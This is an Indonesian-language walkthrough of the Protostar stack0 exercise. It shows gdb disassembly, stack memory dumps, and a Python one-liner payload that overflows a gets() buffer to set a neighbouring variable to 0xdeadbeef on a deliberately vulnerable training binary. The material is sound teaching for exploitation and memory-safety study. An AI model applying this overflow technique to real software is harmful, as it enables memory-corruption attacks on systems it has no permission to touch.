Challenge URL: https://exploit-exercises.com/protostar/stack0/
diberikan source code sebagai berikut:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Kita coba debug binary nya untuk menemukan alamat dari variabel 'buffer' dan 'modified'.
sh-4.2$ pwd
/home/user
sh-4.2$ ln -sf /opt/protostar/bin/stack0 .
sh-4.2$ ls -l stack0
lrwxrwxrwx 1 user user 25 Sep 11 04:40 stack0 -> /opt/protostar/bin/stack0
sh-4.2$ gdb --quiet stack0
(gdb) disas main
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
(gdb)
Kita bisa lihat bahwa variabel 'modified' berada di lokasi ($esp + 0x5c), dan variabel 'buffer' berada di lokasi ($esp + 0x1c)
Sekarang kita coba menjalankan program ./stack0 dengan input sebanyak 64-bytes, lalu kita lihat isi dari alamat $esp. Sebelum itu kita set breakpoint ke main+24 (sebelum fungsi 'gets' dipanggil), dan main+29 (setelah fungsi 'gets' dipanggil).
sh-4.2$ python -c 'print "\x41"(0x40)' > /tmp/pl
sh-4.2$ gdb -q stack0
(gdb) b *main+24
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11
(gdb) b *main+29
Breakpoint 2 at 0x8048411: file stack0/stack0.c, line 13
(gdb) r < /tmp/pl
Starting program: /tmp/stack0 < /tmp/pl
Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff0b4) at stack0/stack0.c:11
11 stack0/stack0.c: No such file or directory.
Sekarang kita coba lihat isi dari alamat 'buffer' ($esp + 0x1c) pada breakpoint 1 (sebelum fungsi 'gets@plt' dipanggil)
(gdb) x/64wx $esp+0x1c
0xbfffefcc: 0xb7e42273 0x08048034 0x08049620 0xbfffefe8
0xbfffefdc: 0x080482e8 0xbffff2a8 0x08049620 0xbffff018
0xbfffefec: 0x08048469 0x08048450 0x08048340 0x00000000
0xbfffeffc: 0xb7e4242d 0xb7fb93c4 0xb7fff000 0x0804845b
0xbffff00c: 0x00000000 0x08048450 0x00000000 0x00000000
0xbffff01c: 0xb7e28a83 0x00000001 0xbffff0b4 0xbffff0bc
0xbffff02c: 0xb7feccea 0x00000001 0xbffff0b4 0xbffff054
0xbffff03c: 0x08049634 0x08048218 0xb7fb9000 0x00000000
0xbffff04c: 0x00000000 0x00000000 0xb5574b6f 0x8fa38f7f
0xbffff05c: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff06c: 0x08048340 0x00000000 0xb7ff2500 0xb7e28999
0xbffff07c: 0xb7fff000 0x00000001 0x08048340 0x00000000
0xbffff08c: 0x08048361 0x080483f4 0x00000001 0xbffff0b4
0xbffff09c: 0x08048450 0x08048440 0xb7fed180 0xbffff0ac
0xbffff0ac: 0x0000001c 0x00000001 0xbffff2a8 0x00000000
0xbffff0bc: 0xbffff2b4 0xbffff2c9 0xbffff2d4 0xbffff2e6
Itu adalah alamat buffer yang belum kita isi dengan "A" sebanyak 64-byte. Sekarang kita 'continue' dan lihat isi dari alamat 'buffer' ($esp + 0x1c) pada breakpoint 2 (setelah fungsi 'gets@plt' dipanggil)
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff0b4) at stack0/stack0.c:13
13 in stack0/stack0.c
(gdb) x/64wx $esp+0x1c
0xbfffefcc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefdc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeffc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff00c: 0x00000000 0x08048450 0x00000000 0x00000000
0xbffff01c: 0xb7e28a83 0x00000001 0xbffff0b4 0xbffff0bc
0xbffff02c: 0xb7feccea 0x00000001 0xbffff0b4 0xbffff054
0xbffff03c: 0x08049634 0x08048218 0xb7fb9000 0x00000000
0xbffff04c: 0x00000000 0x00000000 0xb5574b6f 0x8fa38f7f
0xbffff05c: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff06c: 0x08048340 0x00000000 0xb7ff2500 0xb7e28999
0xbffff07c: 0xb7fff000 0x00000001 0x08048340 0x00000000
0xbffff08c: 0x08048361 0x080483f4 0x00000001 0xbffff0b4
0xbffff09c: 0x08048450 0x08048440 0xb7fed180 0xbffff0ac
0xbffff0ac: 0x0000001c 0x00000001 0xbffff2a8 0x00000000
0xbffff0bc: 0xbffff2b4 0xbffff2c9 0xbffff2d4 0xbffff2e6
Nah, terlihat bahwa variabel 'buffer' ($esp + 0x1c) sudah terisi oleh karakter "A" sebanyak 64-byte. Sekarang kita cek juga alamat dari variabel 'modified' ($esp + 0x5c).
(gdb) x/1wx $esp+0x5c
0xbffff00c: 0x00000000
Terlihat juga nilai dari variabel 'modified' == 0, dan alamat dari variabel 'modified' berada tepat dibawah alamat variabel 'buffer'. Sekarang kita coba 'continue'.
(gdb) c
Continuing.
Try again?
[Inferior 1 (process 5630) exited with code 013]
Ada kondisi ketika variabel 'modified' == 0, kita tidak berhasil merubah nilai variabel 'modified'.
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
Tugas kita adalah meng 'overflow' buffer sampai 'hit' ke alamat variabel 'modified' ($esp + 0x5c). Jika kondisi 'modified' != 0, maka kita berhasil merubah nilai variabel 'modified'.
Pada kasus ini saya akan mengganti nilai variabel 'modified' dengan 0xdeadbeef. (0xdeadbeef != 0)
Konstruksi payload berdasarkan hasil 'debugging':
[JUNK (64 bytes)] + [0xdeadbeef]]
Jalankan:
sh-4.2$ python -c 'import sys;from struct import *;sys.stdout.write("\x41"*(64) + pack("<I", 0xdeadbeef))' > /tmp/pl
sh-4.2$ (cat /tmp/pl) | ./stack0 2> /dev/null
you have changed the 'modified' variable